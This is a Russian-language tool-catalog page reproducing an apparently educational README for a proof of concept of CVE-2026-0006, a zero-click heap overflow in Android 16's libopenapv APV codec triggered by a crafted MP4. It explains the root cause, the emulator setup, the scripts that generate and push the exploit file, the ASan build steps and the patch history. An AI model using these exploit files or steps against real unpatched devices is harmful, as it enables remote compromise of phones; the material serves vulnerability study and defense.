Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-0006-openapv-poc — CVE-2026-0006: PoC переполнения буфера в куче для libopenapv (кодек Android APV) - CVSS 9.8 | Kitploit
Инструменты/GitHubGitHub/mobilehackinglab/cve-2026-0006-openapv-poc
Безопасность AndroidАнализ уязвимостейАнализ КодаЭксплуатацияФаззингМобильная безопасностьОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubmobilehackinglab/cve-2026-0006-openapv-poc

CVE-2026-0006-openapv-poc

CVE-2026-0006: PoC переполнения буфера в куче для libopenapv (кодек Android APV) - CVSS 9.8

Репозиторий
1264 месяцев назадЕщё не проверено

CVE-2026-0006: Переполнение буфера в куче в libopenapv (кодек APV для Android)

Анализ патча и воспроизведение от Mobile Hacking Lab

CVSS 9.8 Критический | Активно эксплуатируется в дикой природе | Исправлено в марте 2026 года

Примечание: Мы не обнаружили эту уязвимость. Вся заслуга в обнаружении и ответственном раскрытии CVE-2026-0006 принадлежит исходным исследователям. Этот репозиторий содержит наш независимый анализ патча, воспроизведение и учебный разбор, которые помогут сообществу специалистов по безопасности понять класс этой ошибки и задействованные методы эксплуатации.

Демо: deploy_exploit_mp4.sh вызывает SIGSEGV в mediaswcodec

Обзор

CVE-2026-0006 — это переполнение буфера в куче в libopenapv, открытом кодеке APV (Advanced Professional Video) от Samsung, интегрированном в Android 16 в качестве модуля Mainline.

Уязвимость позволяет выполнить удалённый код без участия пользователя (zero-click) с помощью специально сформированного MP4-файла. Медиа-фреймворк Android автоматически обрабатывает видеофайлы для создания миниатюр и предпросмотра — участие пользователя не требуется.

Корневая причина

oapvd_info() и oapvd_decode() считывают размеры кадра из разных PBU (Payload Byte Units — байтовых единиц полезной нагрузки). Злоумышленник внедряет PBU AU_INFO (тип 65) с заявленными небольшими размерами (16x16), тогда как фактический PBU FRAME кодирует большие размеры (64x64). Фреймворк выделяет буферы на основе вывода oapvd_info(), после чего oapvd_decode() записывает декодированные пиксели с размерами из PBU FRAME — переполняя буфер на 14 848 байт.

Затронутые версии

  • libopenapv v0.1.11.1 – v0.1.13.0
  • Устройства Android 16 с уровнем безопасности до марта 2026 года
  • Samsung Galaxy S26 Ultra и другие устройства с поддержкой кодека APV

Содержимое репозитория

Настройка тестового окружения

Вам понадобится эмулятор Android 16 с уровнем безопасности до марта 2026 года (в более старых версиях Android декодер APV отсутствует).

Создание AVD

root@kitploit:~
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"

# Create the AVD
avdmanager create avd \
  -n android16_apv \
  -k "system-images;android-36.1;google_apis;arm64-v8a" \
  -d pixel_6

# Launch the emulator
emulator -avd android16_apv -no-snapshot-load

Проверка наличия декодера APV

root@kitploit:~
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so

# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch

Если уровень безопасности — 2026-03-01 или новее, уязвимость уже исправлена, и эксплойт не сработает. Используйте более ранний системный образ или снапшот.

Быстрый старт

Вариант 1: Развёртывание готового эксплойт-файла MP4 на устройстве Android

root@kitploit:~
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh

Скрипт генерирует эксплойт-файл MP4, отправляет его на устройство, открывает и перехватывает вывод при падении. Падение может не сработать с первой попытки — скрипт автоматически повторяет попытки до 3 раз.

Вариант 2: Только генерация эксплойт-файла MP4

root@kitploit:~
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py

Вариант 3: Кросс-компиляция ASan PoC для ARM64

root@kitploit:~
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so

# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
  -DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)

# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
  -I../inc -I./include \
  poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan

# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
  ASAN_OPTIONS=detect_leaks=0 \
  /data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"

Ожидаемый вывод ASan

root@kitploit:~
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0

0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)

Как это было исправлено

  1. Немедленные проверки границ (коммит fb6a5eab): проверка ssize > 4 и проверка сигнатуры 'aPv1'
  2. Проверка параметров (v0.1.13.1): модуль oapv_param.c для проверки размеров кадра и тайлов
  3. Безопасный доступ к битовому потоку (v0.2.0.0): чтение с проверкой границ на уровне считывателя битового потока

Ссылки

  • Бюллетень безопасности Android - март 2026
  • libopenapv на GitHub
  • RFC 9924 - кодек APV
  • Mobile Hacking Lab - полный разбор

Благодарности

Эта уязвимость была обнаружена и ответственно раскрыта исследователями безопасности, которые её нашли. Мы не находили этот CVE. Вся заслуга в обнаружении принадлежит им.

Этот репозиторий представляет собой независимый анализ патча и воспроизведение от Mobile Hacking Lab — создан в образовательных целях, чтобы помочь сообществу специалистов по безопасности учиться на реальных уязвимостях.

Отказ от ответственности

Это исследование проводилось в образовательных целях на изолированных тестовых сборках уязвимой библиотеки. Все тестирование выполнялось на локально собранных бинарных файлах проекта с открытым исходным кодом libopenapv. Никакие рабочие устройства или системы не были затронуты.

Скачать инструмент
ФайлОписание
generate_overflow_mp4.pyСоздаёт эксплойт-файл MP4 с несоответствием размеров AU_INFO
deploy_exploit_mp4.shВсё в одном: генерация, отправка на устройство Android, открытие и перехват падения
poc_mp4_asan.cASan PoC, имитирующий путь декодирования C2SoftApvDec
poc_android_oob_write.cАвтономный ARM64 PoC с обнаружением переполнения в защитной области
valid.apvКорректный APV-битстрим размером 337 байт (64x64, YUV422, 10 бит)
apv-mp4/valid_ffmpeg.mp4Базовый MP4-контейнер (сгенерирован ffmpeg)
apv-mp4/overflow_auinfo.mp4Готовый эксплойт-файл MP4 (1 178 байт)